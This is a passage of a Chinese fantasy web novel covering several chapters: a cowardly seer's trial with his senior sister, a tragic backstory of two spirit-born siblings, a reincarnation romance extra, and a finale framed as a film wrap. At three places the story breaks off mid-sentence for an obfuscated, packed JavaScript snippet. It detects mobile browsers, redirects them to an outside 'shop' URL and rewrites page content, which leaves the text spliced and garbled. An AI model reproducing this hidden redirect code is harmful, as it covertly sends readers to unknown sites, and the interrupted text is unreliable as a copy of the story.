话音未落,云缨已不由分说地攥住怀崖的胳膊,拽着他脸朝下往前走去。怀崖的惨叫在空气中回荡,云缨却充耳不闻,步伐稳健地拖着他走了一大截。渐渐地,怀崖的叫喊声越来越微弱,最后彻底没了声响,云缨这才停下脚步,回头瞥了一眼趴在地上喘气的怀崖。 她从腰间解下水囊,丢到他怀里。 “喝完,继续走。” 怀崖愣了一下,接住水囊。他仰头喝了一口,水有点凉,内心逐渐安定下来,让他莫名其妙想起很小的时候,母族的人把他护在身后,也是这样,什么也不说,只是挡着。 云缨:“愣着做什么,想继续被拖着走吗?” 听到这句话,他忙不迭地放下水囊,撑着石壁慢慢站起来,腿还在打颤,但好歹能站住了。 云缨已经转身往前走,怀崖抹了把脸,一瘸一拐跟上去。 “你能看见吗?”云缨挑眉问他,“那里有一座山。” 瑶姬曾经探访了很久,才只探得花神陨落在人间,接下来再怎么探,都没有结果,最终在那位大祭司的推演下,她也只是知晓了花神最后的气息残留在人间的一座山上,她想找找看,能不能再得到哪怕一点点属于毓的灵息。 怀崖也停了下来,刚开始以为是等他,后来才发现不对,这位师姐是在辨认方向。这条山洞岔路太多,七拐八绕,走着走着就不知道到了哪里。 怀崖跟着闭眼感知了一番,远近山峰层叠起伏,却分辨不出她说的究竟是哪一座。 他睁开眼,望向四周杂乱的山影,眉心微蹙:“这里的山势太乱了,我们还是趁早离开,直接去试炼之地。” 云缨停下来,看了一圈周围的石壁,沉默了一会儿。 “你不是能看见吗?”她开口,“看见冥冥之中的天意?” 怀崖一愣:“我……”他挠挠头,“我也不知道。有时候就这样,脑子一热,就能看见点东西,说不准的。” 云缨坚决地看向他:“我要你把那座山找出来,必须找出来。” 怀崖被她看得有点发毛:“真的,我不是故意耍你。就是偶尔会看见一些……影子?我也说不清楚。我娘说是我小时候烧坏了脑子,老做梦。” 云缨没说什么,继续往前走。 怀崖确实没有说谎,他是真的感觉不到。与此同时,师姐的话在他听来愈发奇怪,把他搅得云里雾里,绕来绕去也摸不着头绪。他愣愣地站在那里,心里只剩下一个念头:她到底想要我做什么? 又走了一个时辰。岔路越来越多,有些地方的石壁上开始出现奇怪的纹路,像是被什么东西抓过。怀崖越走越心慌,总觉得黑暗里有什么东西在盯着他们。 他忍不住往云缨那边靠了靠。 云缨没躲,也没看他,就那么走着。 又走了一会儿,怀崖感到心里有根弦崩了,猛地停下脚步,痛苦地按住自己的眉心。 云缨回过头,神情平静,仿佛一切早在她预料之中。 怀崖越是痛苦,她便越是接近那个目标。他的灵觉比寻常人敏锐得多,虽胆小如鼠,却能比谁都更清晰地感知到天意那隐约的脉动。 “等、等一下……我有些……”话未说完,怀崖便眼前一黑,身体猛地向前栽倒。然而预想中的疼痛并没有到来,这次有人稳稳地接住了他。 不同于以往任何时刻,此刻的他,终于有了依靠。 只是这安稳并未持续太久,云缨很快反手一掌,清脆地落在他脸上。怀崖被这一记耳光打得回过神来,顶着那五根鲜红的指印,终于辨明了那座山的位置。在云缨寒霜般的注视下,他不敢再多言,老老实实地在前带路。 走了几步,他还是忍不住试探着开口:“师姐,你也能感觉到那里有仙缘吗?只是那地方死气沉沉,恐怕凶险得很。要不……咱们别贪这点小利了,先平安通过试炼要紧?” 话未说完,云缨已经抬起手,漫不经心地转了转腕子。怀崖喉结滚动,后面的话尽数咽了回去,脚步比方才更快了几分。 怀崖站在山脚下,仰头看着这座山,心里发毛。 云缨已经在往山上走。 怀崖赶紧跟上去。 走了没几步,眉心又开始疼了。这回疼得比刚才还厉害,疼得他眼前发黑。他捂住眉心,脚下踉跄了一下,差点摔倒。 这回看见的不是山,是一个人。 一个女妖,她站在山头上,一动不动,像在等什么来,然后亲手杀掉。 怀崖睁开眼,鼻血流下来了。 他用手背抹了一把,血糊了满脸。 云缨皱着眉,从袖子里掏出帕子递给他。 怀崖接过来,胡乱擦了两下,把帕子揣进自己袖子里。 “走吧,”他说,“就在上面。” 越往上走,那种不对劲的感觉越重。 怀崖下意识往云缨身边靠。云缨还是没躲,但手已经按在剑柄上了。 走到半山腰,云缨突然停下。 怀崖顺着她的目光看过去,什么都没看见,就是一块普通的石头。 但云缨的手已经握紧了剑。 “出来。”她说。 安静一刹那,石头后面有什么东西在动。一条藤蔓慢慢伸出来,然后是第二条、第三条。藤蔓越伸越多,越伸越长,像无数条蛇从石头后面爬出来。 怀崖腿又开始抖。 是一个女人的形状。她长得很奇怪,五官确像怀崖看见的那样,歪歪扭扭的,整副身体完全由藤蔓长成,勉勉强强一个人形,正朝着他们的方向慢慢蠕动。 她看着云缨,歪了歪头,藤蔓就动了。 云缨拔剑,挥剑斩断一片,但紧接着就会有更多的缠上来。 那女人的灵力像山一样压过来。云缨修行深厚,可在这女人面前,法力却跟小孩过家家没区别。 一根藤蔓抽在她背上。她闷哼一声,单膝跪地,又是几根缠上来,勒住她的脖子。 云缨的脸开始发紫,手里的剑终于握不住,哐当掉在地上。 怀崖站在三丈外,浑身发抖,脑子里只剩下跑这一个念头。他看出来了,不知是不是因为他的修为过于低微,似乎这女妖只是针对这位师姐。 他转身,脚却像灌了铅似的抬不起来,身后传来云缨被勒紧喉咙发出的嗬嗬声。 他不是应该跑吗?他从来都是跑的。遇见危险就跑,遇见麻烦就跑,几百年过去,所有人都叫他胆小鬼。他本来就只是一只小山鸡而已,跑有什么不对? 然而在他试图说服自己逃跑时,那时灵时不灵的天衍之术早已自觉探入了那女妖的神识之内。 怀崖有些惊讶,精怪一向都是没有神识的才对。 探进去的一瞬间,他疼得差点晕过去,眼前全是白光,在白光一点点败下去的时候,他看见了一座山,是漫山遍野开满花的山,花浪一层一层地翻涌着。 山头上站着一个女人,穿青衣,眉眼温柔,正低头看着满山的花。她左手边牵着一个女娃,右手边也牵着一个女娃,然后微笑起来。 怀崖觉得自己的颅骨正在一片一片地剥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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话音落下时,只有山风穿过。他偏头一看,身侧空空荡荡,连个影子都没有。 “师姐?什么师姐?是你做的一场梦吧?”一只手拍在他肩上,“你真是走运,修为最低,反倒成了唯一通过试炼的灵族。行了,别愣着了,该去凌霄殿复命了。” 怀崖愣了愣,忽然又笑起来,眼角的皱纹堆得更深了些。 以后就这样了,他想,这样挺好,像个长辈。 “你叫什么来着?”那人问。 “……怀崖。” 凌霄殿外,一名玄官记下他的名字,抬手指了指殿门。怀崖拄着竹杖,一步一步往里走,竹杖点在白玉阶上,笃、笃、笃…… 后来的传闻里,总少不了他当年那场梦。有人说他在梦里窥见了天机,天道恼怒,便夺去了他的修炼根基,等他醒来,已是满头白发,也是靠着这作弊才通过了试炼。 别人在背后说什么,他懒得管。反正他照镜子的时候,还挺满意。 云缨回了姑媱山,向瑶姬复命完毕,便谈起与凌霄殿的交易和身怀天衍之术的那只山鸡。 瑶姬撑着头,疲惫地合上眼:“谢大祭司已然如愿以偿了,那灵族身上的天衍之术已被剥离到大祭司身上,吾等答应之事已成,接下来便看大祭司的了。” 云缨手中捧起那一株七色的心粟,流光倒映在她眼中,她知道,姑媱山将有希冀,灵族将自此生生不息。 后来姑媱山大祭司与苍澜灵族联姻的消息传遍三界,鎏金婚书如云霞般飘向各方仙山洞府。瑶姬亲自操持这场婚事,将十里红妆铺陈得盛大无比。 出嫁那日,怀崖依旧如往常般窝在长生天懒懒晒太阳,他的头发依旧白花花的。瑶姬在那一天,于云端独舞了一场古老的祭礼。她的灵泽随风飘洒,三界处处都有奇花破土,瞬息绽放。那迎亲的婚车缓缓行过天阶,所经之处,山野皆春,万紫千红,像是整个天地都在为这场联姻献上贺礼。 他蓦地睁开眼,云顶处华贵婚车的轿帘飞扬,露出新娘美丽动人的眼睛,他却觉得,她理当是一副冷冰冰的神情,似乎什么都无法入她的眼,什么都不该挑动她的心弦。 云海飘过,他又闭上了眼睛。管他的呢,好好睡一觉才是正事。 旁边一个小姑娘穿着破旧的衣裳,睁着一双黑漆漆的眼睛,懵懵地看着他。 “老头,院子里的杂草我全铲完了,你到底什么时候让我离开?我还要去看花神娘娘。” 怀崖撩起眼皮子,慈祥地笑了笑,伸出手拍拍她的头:“圆圆,师父不好看吗?” 90. 云霜简x越阿毓 毓和霜诞生于祖神陨落之后,那座山坐落于海天相接处,花飞漫天,繁星散落银河,神奇瑰丽,流光百转,似乎一头栽进神秘的星河,这里是遥望不见尽头的天涯海角。 这里的人们自称是天神的子民,他们是灵族,福泽深厚。 毓想起第一次见到霜,是在赤风草生长的地方,那时毓才刚刚诞生灵智,独自迷失于这陌生之地,以为来到阴恶的地穴入口,他却如受神的指引,牵起毓的手。 是霜带毓来到了这座山。 这里的灵族纯真善良,孩子们把他们珍藏的小风铃塞给毓,为毓献上用赤风草织成的花环,稚嫩的童音响起。 “灵儿啊灵儿,请收下吾等的谢礼。赤风草是神的信物,庇估你能得所愿,佑你此生长乐无极、福寿安康,佑你百年之后,魂归故里。" 毓想,神应当是真实存在的吧,祂默默护佑着这最后一方净土,不受任何玷污。 霜在这样纯朴的环境下长大,同样善良美好。 让毓印象最深的是,他对神有着一种与生俱来的执着,霜总是全身心地热切渴望,独守自己的一份天籁,倔强又顽固地期盼着神明再临世间。 祈天山四季如春,草野不会从青色变成枯黄,赤风花一年四季地盛开着。这里受神的遗骸福泽庇佑,一切都是永恒,没有流年。 霜常常踏过潺潺流动的小溪,牵着毓一起,站在山坡上,倾耳聆波澜,举头问飞鸿,看太阳升起又坠落,看星星回到祈天山,又看它们奔赴四方。 毓永远也忘不了那时,远山隔着浅浅的阿西塔河捧起霜热切的目光,似乎抛弃整个世界,只剩下他和阳光。 他张开五指,任风留下吻痕。 霜开口问:“阿毓,你还记得我们的来处吗?神族逐渐衰颓,血肉灵核化作山川湖海,日月星辰,才给予了我们这样深厚的天地灵息。” 毓望远山,一股哀愁涌上心头,不知已过了几载春秋,毓惦念起祖神来。 她微微动容:“阿兄,毓生不明来路,死不明去处,似天地无所容,或许唯有追随神明之遗志,以身殉道,还于天地之间。" 霜却笑了:“毓,我要你活得长长久久,也要灵族绵延不绝。” 毓只是笑着摇了摇头,只当他是胡言。生死流转,这是天地法则,连神明也无法逃过,他们又有什么其他选择呢? 可是霜坚定地说:“若要求生,便需先置之死地。阿毓,你随我一起走一趟吧,我用天衍之术探过一次,九幽那里有一线生机。” 毓愣愣地看向他。 "灵儿啊灵儿,请不要忘记这里,离开时要归于桑梓,赤风花盛开的地方。"毓将作别此地,和霜一起前往九幽那处寻觅天机隐藏之下的秘密。霜欣喜之余,却看见毓眼神里深深的哀愁。 “毓,不要哭,那道天衍之术虽然毁了我的根基,失去了半神之体,但是那都是值得的,为了大家,什么都是值得的。” 毓走时,最后回头望了一眼,时风抚大地,芦草翻滚,耳边一片萧萧海潮音。赤风草不经心随风舞动,胜过百花坠人间。 霜有一个秘密,毓也不知道, 出发前一晚毓睡着了,霜来到荆澜谷偷偷地向神许下祈愿。 他想和毓永远在一起。 霜抬头,眸中灿若星辉,坚定决心,立下神罚之誓。 “九幽之地险恶,若吾不归,便以身为祭,但求送毓归来,与灵族同享长生,千秋万代。” “人间北地漫漫黄沙、长河落日,走过东方能见遍地黄金.醉梦京华,秋日却看落叶纷飞、绿叶白草,这人间当真是有趣得很,只是鬼煞有些多。” 一路上,毓难掩心中的期许,将心思和盘托出,霜只听着,不时点点头,一言不发。 毓只当他是第一次离家,不舍所以心不在焉。沉默半晌,毓转过身,抓起他的手。 “霜,不要舍不得祈天山,有我跟你一起。” 他笑笑,一扫眉间愁绪。 “好,我陪你。” 霜一直落在毓后边,永远是只吐出几个字来。可真是惜墨如金,毓心生不悦,假装看不见他,自顾自走着。天延伸到山的那边,四季流转,日月瞬息交替,昼夜骤然颠倒,毓惊喜,终于到了九幽的入口。 狂喜之下,毓扭过头去瞧他:“霜,我们终于……”欢呼被艰难吞下,苦涩难咽。 风卷起乱草,天光辉映间,飞鸟掠过天际,无羁无束。 “霜?” 毓在九幽之中找到了那遗落的神骨,以息壤重塑她的身躯,但是经由九幽千万年鬼煞之力的侵蚀,她已经正邪不分了。毓好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576379|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好照顾着圆圆,因为这是霜用自己的半神之体换来的,那日她转过头去,霜却是奄奄一息,几乎要被九幽之地吞噬,她才看出那是献祭之法,霜的身躯已经烂掉了。 毓制止了他,为了修补霜的身躯,她将自己的眼睛和剩下的半颗心给了霜。霜在祈天山醒了过来,二人竟看起来真的同双生子一般了,都是淡蓝色的眼睛,却又因为共抗天罚而满头华发。 他们相视一笑,霜问起毓,是否在九幽中发现了那所谓的天机,毓告诉他,她什么也没有找到。霜主张向死而生,而毓以息壤逆转生死,却让那块神骨受侵蚀成了魔物,她天性纯良,伤害任何一点草木花灵也会心碎不已,更遑论她因一己之私害得一个生灵竟沦落成妖魔,神智几近被吞噬。 毓开始后悔了,她与霜的想法开始产生分歧。而霜被救回来之后,听见毓的话,第一次露出冰冷的神情:“阿毓,你骗了我。” 霜不顾毓的阻拦,执意将九幽的彼岸结界打碎,致使九幽成为一片乱序之地,彻底沦为死地,再无安宁之日。 毓终于与霜大吵一架,愤而离开了祈天山,开始游历人间。最终在霜的设计下身死,被藏尸于人间离山,元灵四分五裂,再无来生。 很多很多年以后,再有人提起祈天山说那里曾经福泽深厚,是一块宝地,却因后世互相攻伐成了一片古战场。祈天山也被怨气吞噬时,云霜简恍惚了一阵子,然后这位尊贵的凌霄神族大祭司那时痴痴摇着头说:“传令下去,警戒灵族后辈不可靠近那片幽煞之地,以免受伤。” 自云霜简从祈天山设下封锁禁制然后回到神殿那天,他莫名喝得酩酊大醉,伴浅浅一点哀愁作药引,怀抱着落星阁的拂柳霜露,躲在神殿里,枕宿梦乡。 他疲惫的睁开眼时,眼前是完全陌生的地方。 一阵古老的声音响在耳畔:“吾愿以身为祭,但求……”这是他说的吗?说过什么呢? 霜跌跌撞撞,迷于不归处。背叛的惩罚,是刻进骨肉血的诅咒,让他这么多年来亲眼见到灵族迅速衰亡下去,就连他自己也要化妖了。 阿毓问他:“客欲往何处?” 那道幻影终究是散了,无穷思念最终烂于肺腑,霜颤抖着,艰难吐出一句:“生不知来路,死不明去处,天地无所容。吾,惟有埋骨于那流泪断肠处。” 91. 520番外(楼x宋) 楼静时被接到九重天阙之上时,她就已经下定了决心,此生再也不回姑媱山了。 她是带着任务来的,表面是为安抚凌霄殿,以示两界结为同盟,若是幽都战事再起,姑媱山便归属于凌霄殿一方阵营,但实际上她应下婚约时,瑶姬就告诉了她,此番是为弃子而去,幽都战事必不可免,为保下姑媱山,她必须提前计划,献祭给洛闻瑛传承为守护灵。 楼静时提出了一个请求,由她去离山执行任务,见一见洛闻瑛和沈流商,与他们告别,瑶姬神女允了。 再见到阿弟和小瑛儿的时候,楼静时不禁觉得变化好大。 她记忆中那个抓着她的头发黏乎乎地喊着姐姐的弟弟,后来她悄悄跑回来陪他,阿弟却总是刻薄相对,但如今还是会别扭着叫她阿姐。 楼静时趁机探了他的灵府,发现这么多年过去,素鳞居然与人结了同心契了,这是成家了,她好高兴,嗔怪着不早点告诉她,却越发觉得欢欣,终于有人能护着阿弟了。 小瑛儿更是,黏着她的那位大师姐,死赖着不肯放手,楼静时倒是有些怕这位大师姐,因为她身上死气太重了,却又有神骨存在,她竟从未见过。 这一点到她后来成婚时,瑶姬和云缨告诉过她,关于阿毓的部分过去,关于祈天山由圣地又变为禁地,立起一座高塔,镇压在那里,她才知道了关于柳清圆的身份秘辛。 楼静时提出这个请求,并非只为告别这样简单,而是借机在洛闻瑛灵窍内下了一道禁制,这会延缓她的成神进度。 这是楼静时为姑媱山求来的一个喘息的机会,她想去凌霄殿的秘藏阁寻找解决这一切的方法,看看能不能将所有伤害降到最小,瑶姬可以不用献祭,洛闻瑛也不必束缚于神位,姑媱山也不会毁于一旦,她们不用豁出一切玉石俱焚,来扭转灵族覆灭的结局。 楼静时成婚之时在姑媱山留下了一抷土,那是所有姑媱山儿女死后灵魄的归处,她附着了一缕心念在其上,即便她失败,洛闻瑛成神之时感应天地气息,这缕被埋藏的心念就会破土而出,绽放于她的灵窍之内,到那时一切就交给小瑛儿了,她会为其给出一个最好的结局。 离开姑媱山时,因为瑶姬神女的恩慈,她绕道人间的请求得到了应允,在那里楼静时见到了小时候的故居。 她曾听闻当年母亲受命嫁与父亲时似乎也是百般不情愿,可是当时姑媱山初建,从极之渊沈氏一脉迅速崛起,为拉拢其势力,瑶姬神女应允了沈铷的求亲。 沈铷是从极之渊的守护灵,对云缨仰慕已久,灵族战事起时,他与云缨并肩作战,被追杀至绝境之际,他身边只有云缨一人,她本专攻治愈法门,直面迎战实在勉强,何况她身负重伤,灵力几近耗尽,可身后追兵已然逼近。 就在沈铷准备自爆,运起最后一丝灵力将云缨送走之时,她却披甲执锐,为他引开追兵,支撑到援兵来的那一刻,他们便重获生机。 待战事平定以后,凌霄神族建立,沈铷治理好从极之渊,水族之势称霸一方,他终于鼓起勇气,向姑媱山求娶大祭司云缨,愿得爱人一真心,就此白首不相离。 云缨天性不怜情爱,只为忠诚于守护灵意志,效命姑媱山长存,订下婚约后着实发了一顿脾气,但知晓是为姑媱山牢固根基以后,她自是心甘情愿穿上嫁衣,驾着婚车入了从极之渊,瑶姬要她举案齐眉,与夫君相濡以沫,一路上她便做出欢欢喜喜的模样,依礼敬告天地祖神,似乎也哄骗过了自己。 云缨在从极之渊过得很好,沈铷变着法儿讨她欢心,她随意说的话他都记在心底,云缨也很快放下芥蒂,当真和他老实过起日子来。 他们会一起下厨,一起种花,只是因为从极之渊太冷,那些花草总是活不长,沈铷便带着云缨到了人间。 那里四季流转,月有阴晴圆缺,这里很像姑媱山,尽管人间的草木花灵有夏荣冬枯,终究不能长久,但比起冷清的从极之渊,云缨更爱这活着的人世间。她开始期待在春天时带着素鳞和静时一起来,最好沈铷不要那么忙,能一家人整整齐齐地在这里呆上几日,枯败的花儿在这几天会长出新绿的枝桠。 可是后来云缨和沈铷终究分开了,姑媱山需要大祭司,云缨到底是属于姑媱山那方天地的生灵,这一场婚事不过权宜之计,她得到瑶姬的神谕后,果断带着静时回到了姑媱山,她这一脉的后代将任命为祭司一职永属姑媱山,这便是生而为灵族的天命所在,超过了所谓区区私情。 从此楼静时便和沈流商天各一方,即使血脉相亲万般不舍,也绕不过那天命去,只有当断则断。 凌霄殿秘藏地归由凌霄神族大祭司云霜简管辖,楼静时几次想溜进去都不得成功,她在九重天上举步维艰,所有人都把她当做人质看押,那所谓的夫君她也素未谋面过,宋歇一直在战场上厮杀,楼静时算出这位夫君煞气深重,暗自腹诽那位别回来最好,不然还克她呢。 楼静时一直寻找着机会,循着蛛丝马迹,她发现症结似乎在于那位神圣的大祭司身上,某一晚她使用禁术跟踪云霜简到了祈天山,这位大祭司经过大战以后伤得遍体鳞伤,这才让楼静时有了可乘之机,没有发现楼静时在他身上下的引子。 她看见这位大祭司重伤未愈,甚至还耗费灵力让自己的伤不断恶化,溃烂发脓,在祈天山上抱着酒坛喝得酩酊大醉,他撤去了高塔的阵法,任由煞气吞噬着他的灵魄,看着他的躯壳变得千疮百孔。 到天明时他彻底醉死了过去,一个女仙幻影般地出现了,无声无息地靠近着云霜简,为他注入纯净的灵力,驱散缠绕在他灵魄上的阴霾,借着天光,楼静时看清了那张温柔的脸庞。 那是她在离山时通过洛闻瑛的眼看过的神女,这缕幻影是越阿毓在云霜简灵窍内留下的一道灵障,就像楼静时当初为护洛闻瑛平安而设下的灵障一样,只可惜她那道灵障在灵泽大比试炼的时候被柳清圆给捏碎了,还让她掉了大半修为。 越阿毓设下的这道灵障不同,不仅有护人平安之效,居然还有自己的意识能够化为本相,想来是以自己的灵魄作为载体,仙力浑厚,竟连云霜简自己都未曾察觉到过。 那位神女看到了楼静时,果断将云霜简隐藏着的一切,包括她的所有记忆全部容纳进了楼静时的魂术之中,还将她得到的关于天火降世的预言,完完本本地告知于楼静时,最后她柔柔一笑,似乎是如释重负,终于消散于天地间。 这件事最后也没有瞒过云霜简,在传来歇战死的消息以后,他便随意编造了理由让楼静时陪葬,其实将她洗去意识,吸纳尽她的力量,然后将她变作了那些行尸走肉之一,但是所幸在此之前,楼静时就已经将这一切托付于姑媱山的那一抷泥土中,等待洛闻瑛成神之时,终结这一乱局。 楼静时在九幽见到沈流商时已经彻底化作一滩烂肉,然而她却并没有像自己所预料的那样消散于此,沈流商原来本为幽都之主靥,他便保下来她的灵魄,却因无力护持而将她的灵魄投入到其余小世界中,避开了云霜简的势力。 楼静时再次苏醒时,她发现自己穿越了,上一秒还在现代公寓里熬夜赶方案,下一秒就变成了病榻上的沈家嫡女。沈如雁没有系统,没有任务,连原主记忆都模模糊糊,只隐约记得这个小她几岁的弟弟,是原主最放不下的人。 行吧,既来之则安之。沈如雁迅速适应了新身份,并且惊喜地发现,沈家富得流油,父母开明,弟弟虽然不成器但心眼不坏,她简直是拿了躺赢剧本。 直到那天,沈如雁本来还在跟自家老闺柳知微嗑着瓜子聊闲天儿,结果爹妈告诉她圣上给她赐婚了,准备做啃老女的沈如雁得知此事犹如晴天霹雳,指着天骂天,逮着地踩地,死活嚷嚷着不嫁。 后来沈如雁还是想方设法地打听着她那位未来夫君。靖王宋歇,皇帝的幼弟,京中出了名的冷面王爷,一坨移动的冰山,据说才学盖世,却性子孤高,不近女色,当然,这传闻在她听来,多半是编的。 上了几年班的沈如雁早就对古早霸总文免疫了,现在冰山王爷的人设在她这里已经不吃香了。 沈如雁想要逃婚,然后被楼夫人发现了,被吊起来打一顿,终于软了下来决定去见一面这位倒霉郎君。 然后沈如雁一眼就爱上了。 怎么说呢,这人长得也太对她胃口了。清冷禁欲系,放在现代就是高岭之花,是她熬夜加班时幻想过的类型。 京中渐渐传出流言,说沈家那个无法无天的大小姐,在倒追靖王。 柳知微撑着下巴,挑眉看向沈如雁,指着桌上那堆情书调侃:“你确定这法子真的可行?能打动宋歇吗?” “怎么不可能?”沈如雁咬着笔杆,给宋歇写第三十七封信。这是她新想出来的法子,每天写封信,不拘说什么,夹在送去的点心里,“精诚所至,金石为开嘛。” 其实她心里也没底。 宋歇这人,太难琢磨。她送的点心他收了,棋谱也收了,诗会上的“意外”他也没追究。可她每次去找他,他不是在看书就是在处理公务,连多余的话都懒得多说。 柳知微嗑着瓜子,状似随意地说:“我那个技能赛半仙能看人气运,那位靖王殿下命犯七杀,怕是个克妻命。” 沈如雁调笑着用笔杆子戳了一下柳知微,眼睛亮晶晶:“小瑛儿,这都什么时代了,在我们那个世界早就不讲这些了,你也要多跟咱学学,封建迷信不可取!” 那之后,宋歇依旧话少,依旧冷淡。可他会赴她的约,会收她的信,偶尔还会回她几句。虽然多半是“已阅”、“甚好”、“多穿点”之类的短句。 沈如雁乐此不疲。她给他讲现代听来的笑话,给他画滑稽的表情包,虽然他总是来信说不知道是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576380|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么意思,还要理解很久。 直到那天,她染了风寒,高烧不退。那感觉好像沈如雁要一命呜呼了,就像她刚穿来这具身体的时候,也是这么轻飘飘的。 她不想回家,在那里她没有亲人,没有爱人,没有孩子,只有上不完的班。 昏昏沉沉间,她听见有人在她房里说话。 “殿下怎么来了……”是母亲的声音。 “听说沈姑娘病了。”好耳熟啊,可是她两辈子加起来认识的男的都不超过五个。 谁又会这么文绉绉地叫她“姑娘”?而且她不姓沈啊,她叫楼静时,一只平平无奇的加班狗。 然后有冰凉的手覆上她的额头。很舒服,她忍不住蹭了蹭。 醒来时已是深夜。丫鬟说靖王守了她两个时辰,走前还亲自煎了药。 沈如雁抱着被子傻笑。 病好后,她再去找宋歇,这次宋歇居然没有以男女授受不亲为理由将她拒之门外了。 “殿下,”她凑过去,“你是不是也喜欢我了?” 宋歇正在写字,笔尖顿了顿,墨迹在纸上晕开一小团,沈如雁等着他下一步表示,末了这人不识好歹却又叫人将她给请了出去,叫沈如雁好不生气,骂他就是个榆木疙瘩。 沈如雁气那人冷漠无情,这段时日都憋着气没来找他,见到宋歇就绕道走。日子就这么过去了,京城下起了第一场雪,宋歇终于给她递帖,邀她来去梅花林赏花。 梅树下,他替她拂去肩头的雪,忽然开口:“沈姑娘,若本王请旨退婚,你可会伤心?” 沈如雁愣住:“你说什么?” 宋歇低声道:“今日邀姑娘前来,是我心里有鬼,我想了这些时日,觉得还是要坦白为好,莫要辜负了姑娘的一片真心。” “我自出生起,摘星阁便为我批命,说我命不久矣,还会克死身边之人。因此众人避我如蛇蝎,十岁那年便被送入军营,我性情木讷,除了战事,什么也不懂。虽靠着军功活了下来,还得了这王位,可流言终究伤人。” 沈如雁叉着腰,努力昂着头看他,眼框红红的,闪烁着泪花,她倔强地不让泪水掉下来:“宋歇你有病啊,老娘追你这么久,你把我请过来不是赔罪,居然是想把老娘甩了?” 宋歇:“陛下此番赐婚,多半是为了敲打宁都侯府。我只怕要委屈了你。你一片真心,我本不信那些话,却也怕万一命数成真,害了你。” 雪落无声,梅香氤氲。 沈如雁听见自己的心跳,一下,又一下,震耳欲聋。 “宋歇,你敢小瞧我?”她说着,眼泪猝不及防地掉下来,“你以为我会信什么天命,怕那些闲话?” “宋歇,你可真是个蠢货,真是个混蛋,表白哪是你这样的?你只管告诉我,跟我成亲,你到底愿不愿意?” “今日我邀姑娘而来,的确是想念姑娘了。”宋歇看着她,眼神是前所未有的认真,“雁雁,我想娶你为妻。” 她等着这句话,像是已经等过了两辈子那么久。 婚期近了,沈如雁慌张又欣喜地筹备着婚礼。 按照礼制,公主下嫁才用“尚主”之仪,亲王娶亲本该是寻常嫁娶。可沈如雁在柳知微的建议下突发奇想,找到宋歇商量了一下:“歇,我们玩个不一样的吧?” 宋歇看着她亮晶晶的眼睛,不知怎么,就点了头。 于是大婚那日,当迎亲队伍停在靖王府门口时,所有人都傻了眼。 花轿里走出来的,是一身大红新郎袍的沈如雁,她头戴金冠,腰系玉带,笑得神采飞扬。 而本该迎亲的新郎官靖王殿下,却穿着一身华丽嫁衣,蒙着盖头,被喜娘扶进了花轿! “这、这成何体统!”老嬷嬷快晕过去了。 “礼制!这是乱礼制啊!”礼部的官员捶胸顿足。 围观百姓目瞪口呆,议论纷纷。 沈如雁却不管这些,她翻身上马,一扯缰绳:“起轿——接新郎回府!” 队伍在满街哗然中前行。到了沈府,她利落下马,走到花轿前,伸手就要掀盖头。 “礼制不可废。” 盖头下传来宋歇平静的声音。 沈如雁手一顿:“殿下说什么?” “掀盖头,要等洞房时。”宋歇的声音里,竟似有一丝笑意。 沈如雁愣了愣,随即大笑起来。 她收回手,朝四周目瞪口呆的宾客们拱了拱手:“诸位,都听见了?我家夫君说了,礼不可废!那咱们就按礼来!” 说着,她伸手进轿,稳稳握住宋歇的手,那只手在她掌心轻轻回握。 在满堂惊诧、非议、不可思议的目光中,沈如雁牵着宋歇一步一步的,走进了喜堂。 红烛高烧,喜乐喧天。 她想,穿越这一遭真是值了。 92. 大结局(上) 杀青那天的最后一场戏,是姑媱山下了雪,柳知微在雪地里追着柳清圆跑了大半个山头,最后扑进她怀里,两个人摔进厚厚的雪堆里,笑得喘不上气。 导演喊“咔”的时候,柳知微还赖在雪里不肯起来,仰面朝天,手脚在雪地上划拉出一个不太规则的大圆圈。 “师姐抱!” 柳清圆站在旁边,笑意盈盈地俯下身去,把她从雪地里捞起来,顺手拂去柳知微鬓角沾的雪,然后低头看着她,眼里满满的都是怀中人。 柳清圆眉头微挑:“抱了就要给亲亲。” 柳知微仰着脸,眼里盛着碎雪与笑意,不等柳清圆把话说完,便踮起脚尖,径直吻上了她的唇。 退开时,柳知微的双颊已染上薄红,气息有些不稳,声音清甜:“我要师姐抱我一辈子,两辈子,八辈子,还有下下下辈子!” 柳清圆眯了眯眼,温柔的情绪满溢出来,连素日清冷的模样都染上些缠绵缱绻。她没有答话,只是收紧了环在柳知微腰间的手臂,低头覆了上去。 柳清圆的唇瓣微凉,贴上来时却极尽温柔,含着柳知微的下唇轻轻厮磨,舌尖细细描摹过每一寸柔软。 柳知微只觉得心跳得厉害,有点像洛洛长长的尾巴扫过她掌心时那一点酥麻的感觉。柳知微的双手攀上她的脖颈,指尖没入她散落在肩头的墨发之中。 雪还在下。柳清圆刻意加深了这个吻,舌尖探入,与她的纠缠在一处,柳知微喉间溢出极轻的一声嘤咛,整个人都软了下去,若不是被紧紧箍着腰,怕是要站不稳了。 